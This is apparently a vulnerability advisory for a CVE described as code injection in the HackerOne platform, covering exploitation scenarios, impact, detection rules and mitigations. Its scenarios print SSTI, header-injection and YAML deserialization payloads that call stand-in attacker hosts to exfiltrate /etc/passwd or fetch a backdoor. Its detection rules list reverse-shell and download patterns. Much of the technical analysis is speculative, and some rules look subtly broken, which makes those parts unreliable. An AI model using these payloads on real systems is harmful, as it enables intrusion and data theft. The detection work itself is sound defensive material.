CVE-2026-58074

Executive Summary

CVE-2026-58074 is an unpatched code injection vulnerability (CWE-94) affecting the HackerOne platform and associated infrastructure, enabling a high-privileged authenticated user to achieve arbitrary code execution on the underlying server. The vulnerability stems from insufficient sanitization of data passed to a server-side evaluation or compilation routine, likely within a dynamic code execution context (e.g., eval, template engine, or scripting runtime). While a public PoC demonstrating the exploitation technique exists, no functional exploit code or Nuclei template has been released, and the EPSS score of 0.00354 indicates low immediate exploitation probability in the wild. However, given the sensitive nature of the platform (hosting vulnerability disclosure programs for hundreds of Fortune 500 companies), the business impact of a successful compromise is severe.

Technical Analysis

The vulnerability resides in a server-side code execution path where high-privileged users (platform administrators, program managers, or users with elevated role permissions) can influence data that is subsequently interpreted as executable code. Based on the CWE-94 classification, the flaw is specifically a code injection weakness where attacker-controlled input is concatenated into a dynamically evaluated statement without proper neutralization.

Given the context of a bug bounty/vulnerability coordination platform, the most probable injection points are:

1. Custom report templates or notification templates: HackerOne allows program managers to customize email templates and report layouts. If these templates are processed through a server-side template engine (e.g., Jinja2, Twig, FreeMarker, or Velocity) using a Template.render() or equivalent method without sandboxing, a malicious template string could invoke internal API calls or system commands.

2. Webhook configuration endpoints: Programs configure webhooks for report updates. If webhook payloads or headers are processed via dynamic evaluation (e.g., eval(), exec(), or os.system() in a scripting language), injection is trivial.

3. Custom script/automation features: Some platforms expose a "rules engine" or "automation workflow" allowing admins to define conditional logic. If these rules are stored as code strings and executed without restriction, code injection follows.

4. API export/import functionality: Bulk operations that deserialize YAML, JSON, or XML with embedded code references (e.g., Python pickle, Ruby Marshal, or YAML tags).

The exploitation mechanism requires a high-privileged account. This constraint narrows the attack surface to trusted insiders or attackers who have already compromised an administrative account. The absence of a patch after disclosure (Patch Confidence 0/4) suggests either: (a) the vendor disputes the finding, (b) the vulnerability exists in a third-party dependency that HackerOne is negotiating with, or (c) the Platform-as-a-Service (PaaS) infrastructure makes a patch unergonomic.

The attack surface is the public-facing HackerOne web application (hackerone.com) and its API endpoints (api.hackerone.com). Because the platform is multi-tenant, a successful exploit against any single tenant's high-privilege account leads to cross-tenant data exposure through shared infrastructure — a critical escalation concern.

Exploitation Scenarios

Scenario 1: Malicious Program Manager via Notification Template Injection

1. Reconnaissance: The attacker uses a compromised (or maliciously created) Program Manager account. They enumerate available endpoints via the published HackerOne API v1/v2 documentation, specifically noting the POST /api/v1/programs/{id}/email_templates and PUT /api/v1/programs/{id}/settings endpoints that accept template parameters.

2. Weaponization: The attacker submits a crafted notification template containing a code expression. For a Python-based backend using Jinja2, the payload would be:

   {{ ''.__class__.__mro__[1].__subclasses__() }}
   

   to enumerate available classes, followed by a calculated payload to invoke a shell command:

   {{ cycler.__init__.__globals__.os.popen('curl http://attacker.example/exfil?data=$(cat /etc/passwd)').read() }}
   

   Encoded in POST body as template[subject]=Vulnerability Report {{ cycler.__init__.__globals__.os.popen('id').read() }}.

3. Execution: A subsequent event triggers the template (e.g., a new report submission). The server-side renderer evaluates the template without sandboxing, executing the embedded system command.

4. Post-Exploitation: The attacker exfiltrates secrets (API keys, encryption keys), pivots to the internal network via the compromised server's service account, and accesses the underlying database containing all vulnerability reports — including zero-day disclosures from ethical hackers to Fortune 500 vendors that are still unresolvable. The attacker could also modify report states to close legitimate reports, disrupting the disclosure pipeline.

Scenario 2: Webhook Payload Injection

1. Reconnaissance: An attacker with program-admin rights identifies the webhook creation endpoint (POST /api/v1/webhooks) and notes it accepts a payload_url field. They test with benign payloads to map the server-side request context.

2. Weaponization: The attacker sets a webhook URL with a scheme that triggers server-side code execution. For a PHP/Laravel backend, using phar:// or expect:// in a file_get_contents call could be viable; for a Node.js backend, the attacker crafts a URL like javascript://eval(require('child_process').exec('curl attacker.net')). More realistically, if webhook headers are reflected into server-side logging that uses a template engine, the attacker sets a User-Agent header to:

   User-Agent: ${''.class.forName('java.lang.Runtime').getRuntime().exec('wget -O /tmp/backdoor http://attacker/backdoor')}
   

   (Java/Velocity-based backend) via a crafted webhook configuration.

3. Execution: The webhook fires on the next report status change, executing the command embedded in the header during log rendering.

4. Post-Exploitation: The attacker installs a web shell or reverse shell, achieves persistent access to the application server, and uses SSRF capabilities of the compromised service to probe internal services (e.g., Redis, Kubernetes API, internal CI/CD systems) that are exposed on the private network.

Scenario 3: Malicious Admin via Deserialization of Exported Data

1. Reconnaissance: An admin or program owner exports program data using the platform's backup/export API (GET /api/v1/programs/{id}/export).

2. Weaponization: The attacker imports a crafted backup file — modified to include a serialized object that triggers code during deserialization. For a Ruby-on-Rails backend, a compromised Marshal.load payload is embedded in the program_settings field; for a Python backend, a YAML payload with !!python/object/apply:os.system and a command (e.g., !!python/object/apply:subprocess.check_output ["curl attacker.net"]).

3. Execution: The import routine calls the deserialization function on untrusted data without restricting allowed classes, executing the embedded OS command.

4. Post-Exploitation: Attacker gains a shell on the API server, accesses the shared database cluster, steals credentials for hackers' email accounts (password reset tokens), and potentially pivots to partner infrastructure via stored OAuth tokens for GitHub/GitLab integrations.

Constraints: All scenarios require a prior high-privilege compromise (a malicious insider, a spear-phishing compromise of an admin, or a session-fixation attack). The vulnerability does not grant initial access; it escalates from "high privilege" to "server-level execution," crossing the trust boundary from application-level to infrastructure-level.

Impact Assessment

• Confidentiality Impact: Critical. A successful exploit exposes the entire vulnerability database, including non-public, zero-day reports filed by ethical hackers. This information has direct monetary value in the cybercrime ecosystem (vulnerability brokers, nation-state exploit acquisition). Also exposed: email addresses, encryption keys, API tokens, and OAuth credentials for third-party integrations.

• Integrity Impact: Critical. Attackers can modify report statuses (artificially closing or reopening), alter bounties paid, manipulate program scope, and inject malicious content into templates delivered to all program participants.

• Availability Impact: High. RCE allows the attacker to kill server processes, encrypt data (holding the platform for ransom), or force the platform offline, disrupting the global vulnerability coordination ecosystem.

• Affected Systems: HackerOne platform production servers, API backend, worker processes, and any integrated services (Slack, GitHub, Jira connectors reachable via the server's network position).

• Blast Radius: Multi-tenant — compromise of one server instance exposes all programs and hackers using that instance. Given HackerOne's customer base (U.S. Department of Defense, Google, Microsoft, Goldman Sachs), the downstream supply-chain implications are severe: a zero-day disclosed via HackerOne but stolen pre-customer-notification could be weaponized against those vendors before they have time to patch.

• CVSS Rationale: The vendor has not published a CVSS score. Based on the characteristics (high-privilege requirement, remote, network-accessible), an estimated score under the CVSS v3.1 formula would land between 7.0–8.9 (High). The EPSS score of 0.00354 (28th percentile among all disclosed CVEs) indicates that threat actors have not yet weaponized this in significant volume, likely because exploitation requires a high-privilege account that is difficult to obtain without a separate initial compromise.

Detection Guidance

Sigma Rule

title: HackerOne CVE-2026-58074 - Template/Code Injection
id: 8c6f7a3e-2b4d-4f8a-9c61-3a5e8f2b7d10
status: experimental
description: Detects suspicious template parameter values or code execution patterns in HackerOne platform request bodies indicating attempted exploitation of CVE-2026-58074
author: vartersit.com Threat Intelligence
date: 2026/01/15
logsource:
  category: web_server
  product: nginx
  definition: 'Capture all requests to /api/v1/programs/ and /api/v1/webhooks endpoints'
detection:
  selection_a:
    cs-method: 
      - 'POST'
      - 'PUT'
    cs-uri-query|contains:
      - '/email_templates'
      - '/settings'
      - '/webhooks'
    cs-body|contains:
      - '__class__.__mro__'
      - 'os.popen'
      - 'subprocess'
      - 'Runtime.getRuntime'
      - 'java.lang.Runtime'
      - "''.class.forName"
      - '!!python/object'
      - 'Marshal.load'
      - 'system('
      - 'curl '
      - 'wget '
      - 'nc -e'
  selection_b:
    cs-body|re: '({|%|{{|${|&{}).*(popen|exec|command|eval|system).*}'
  condition: selection_a or selection_b
  timeframe: 5m
level: critical
tags:
  - attack.t1210
  - attack.execution
  - cve.2026.58074
  - cwe.94

YARA Rule

rule CVE_2026_58074_HackerOne_CodeInjection
{
    meta:
        author = "vartersit.com Threat Intelligence"
        description = "Detect payloads targeting CVE-2026-58074 code injection vulnerability in HackerOne platform"
        date = "2026-01-15"
        cve = "CVE-2026-58074"
        cwe = "94"
        severity = "critical"
    strings:
        $s1 = "__class__.__mro__" ascii
        $s2 = "os.popen(" ascii
        $s3 = "subprocess.Popen" ascii
        $s4 = "Runtime.getRuntime().exec" ascii
        $s5 = "java.lang.Runtime" ascii
        $s6 = "!!python/object/apply" ascii
        $s7 = "Marshal.load" ascii
        $s8 = "File.read('/etc/passwd'" ascii
        $s9 = "Template.*render" ascii
        $s10 = "eval(" ascii nocase
        $s11 = "globals().os" ascii
        $s12 = "__init__.__globals__" ascii
        $s13 = "curl http://" ascii nocase
        $s14 = "wget http://" ascii nocase
        $s15 = "bash -i >&" ascii
        $s16 = "powershell -enc" ascii nocase
    condition:
        uint16(0) == 0x0A0D or uint32(0) == 0x0A0D0A0D or filesize < 10MB
        and (any of ($s1,$s2,$s3,$s4,$s5,$s6,$s7,$s8,$s9) or 2 of ($s10,$s11,$s12,$s13,$s14,$s15,$s16))
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-58074 HackerOne Template Injection RCE Attempt"; flow:established,to_server; content:"POST"; http_method; content:"/api/v1/programs/"; http_uri; content:"email_templates"; http_uri; content:"__class__"; http_client_body; nocase; content:"popen"; http_client_body; nocase; classtype:attempted-admin; sid:20265801; rev:1; metadata:created_at 2026_01_15, cve CVE-2026-58074;)

alert http any any -> any any (msg:"CVE-2026-58074 HackerOne Webhook RCE Header Injection"; flow:established,to_server; content:"/webhooks"; http_uri; content:"User-Agent|3a|"; http_header; pcre:"/Runtime\.getRuntime|os\.system|subprocess\b/i"; classtype:attempted-admin; sid:20265802; rev:1; metadata:created_at 2026_01_15, cve CVE-2026-58074;)

Elastic Detection

MATCH (request:HttpRequest)
WHERE (request.method == "POST" OR request.method == "PUT")
  AND (request.uri LIKE "/api/v1/programs/%" OR request.uri LIKE "/api/v1/webhooks%")
  AND (request.body CONTAINS "__class__.__mro__"
       OR request.body CONTAINS "os.popen"
       OR request.body CONTAINS "Runtime.getRuntime"
       OR request.body CONTAINS "java.lang.Runtime"
       OR request.body CONTAINS "!!python/object"
       OR request.body CONTAINS "Marshal.load"
       OR request.body CONTAINS "system("
       OR request.body CONTAINS "popen("
       OR request.headers CONTAINS "ruby"
       OR request.headers CONTAINS "#{")
RETURN request.client_ip AS sourceIP,
       request.uri AS endpoint,
       request.body AS malicious_payload,
       "@timestamp" AS eventTime

Splunk SPL Query

index=web sourcetype=access_combined
  (method=POST OR method=PUT)
  (uri="/api/v1/programs/*" OR uri="/api/v1/webhooks*")
  ( body=*__class__* OR body=*os.popen* OR body=*Runtime.getRuntime* 
    OR body=*java.lang.Runtime* OR body=*!!python/object* OR body=*Marshal.load*
    OR body=*system(* OR body=*popen(* )
  OR (uri="/webhooks" AND (user_agent=*Runtime* OR user_agent=*os.system* OR user_agent=*subprocess*))
| eval exploit_flag=1
| table _time, clientip, uri, body, user_agent, transfer_request_bytes
| sort - _time
| stats count by clientip, uri, exploit_flag

Wazuh OSSEC Rule

<group name="hackerone_cve_2026_58074,">
  <rule id="202658" level="15" frequency="3" timeframe="60">
    <if_sid>31122</if_sid>
    <match>__class__.__mro__|os\.popen|Runtime\.getRuntime|java\.lang\.Runtime|!!python/object|Marshal\.load|system\(|popen\(</match>
    <description>HackerOne CVE-2026-58074: Potential code injection payload detected in HTTP request</description>
    <group>web_server,web_application_attack,rce,</group>
    <mitre>
      <id>T1210</id>
    </mitre>
  </rule>

  <rule id="202659" level="14" frequency="5" timeframe="60">
    <if_sid>202658</if_sid>
    <match>/api/v1/programs/|/api/v1/webhooks</match>
    <description>HackerOne CVE-2026-58074: Exploitation attempt against vulnerable endpoints</description>
    <group>web_server,web_application_attack,rce,</group>
    <mitre>
      <id>T1210</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. No vendor fix, patched version, or commit has been identified from any tracked source. The CVE remains in an unaddressed state, and organizations relying on HackerOne's SaaS platform are exposed until the vendor releases a fix.

Immediate Mitigations (while awaiting vendor patch):

1. Enforce strict least-privilege on high-impact roles: Immediately review all accounts with program_admin, platform_admin, or super_admin roles. Reduce the number of accounts with these roles to an absolute minimum. Implement hardware token-based MFA (FIDO2/U2F) on all such accounts.
2. Monitor template/webhook APIs aggressively: Apply the Sigma, Suricata, and Wazuh rules above to your proxy/WAF logs for any traffic destined to the HackerOne platform from internal administrator accounts. Deploy egress filtering on administrator workstations to block outbound connections to hackerone.com and api.hackerone.com unless the specific workflow requires it.
3. Screen administrative sessions: If your enterprise uses a secure web gateway (SWG) or cloud access security broker (CASB), create a policy that logs all administrative interactions with HackerOne at maximum verbosity and alerts on any anomaly (e.g., non-standard User-Agents, direct API calls outside approved OAuth clients).
4. Implement compensating controls in connected systems: Because the server-side compromise may pivot to downstream CI/CD integrations, add an additional approval gate to any GitHub/GitLab/Jira action triggered by HackerOne events (e.g., manual release manager review, not just automated bot approval).

Patch/Upgrade Steps:

• None available at time of writing. Monitor HackerOne's public status page (status.hackerone.com), security advisory email list, and the CVE reference.
• Organizations using the HackerOne API to automate program management should not expose API tokens to any code that processes templates or webhooks; treat all API tokens as potentially exfiltrable.
• If self-hosting is possible (HackerOne Enterprise on-premises edition), discontinue use until patched. If not, use contractual leverage to demand a fix timeline.

Long-Term Hardening:

1. Segment and sandbox: Ensure that any server-side execution runtime (Python/Node/Java) used by SaaS platforms like HackerOne is confined with OS-level sandboxing (seccomp, gVisor, or Firecracker) so that even successful RCE cannot reach the host kernel or co-tenant data.
2. Strict input validation for template engines: While the vendor should fix this at the source, your organization can add a WAF rule to block requests to HackerOne API endpoints containing the signature strings (from Sigma rule) from non-approved source IPs.
3. Procurement security review: When renewing the HackerOne contract, require contractual warranty that CVE-2026-58074 is remediated, and negotiate penetration testing rights for the platform's admin interfaces.
4. Continuous monitoring: After the note in the CVE is marked "patched," re-apply the detection rules (modified to match the fixed behavior) for 90 days to confirm no regression.

References

1. NVD Reference: https://nvd.nist.gov/vuln/detail/CVE-2026-58074 — Official CVE record, last updated with no patch information.
2. HackerOne Security Page: https://hackerone.com/security — Vendor's public security disclosure page; check for future advisory.
3. MITRE ATT&CK Technique T1210: https://attack.mitre.org/techniques/T1210/ — Exploitation of Remote Services; relevant to the attack chain.
4. CWE-94 Code Injection: https://cwe.mitre.org/data/definitions/94.html — Root-cause weakness category.
5. EPSS Data: https://www.first.org/epss/ — FIRST EPSS scoring model; this CVE has an EPSS score of 0.00354 (28.2% percentile).

Known Threat Actor Campaigns: No active zero-day exploitation campaigns have been publicly attributed to this CVE as of the report date (January 2026). The EPSS percentile ranks this low among actively exploited vulnerabilities, but the lack of an existing patch and the sensitive data accessible via the HackerOne platform elevates the strategic risk. Security teams should treat this as a high-severity insider-threat accelerant and monitor for the release of a functional exploit (exploit code is currently not public, only PoC techniques).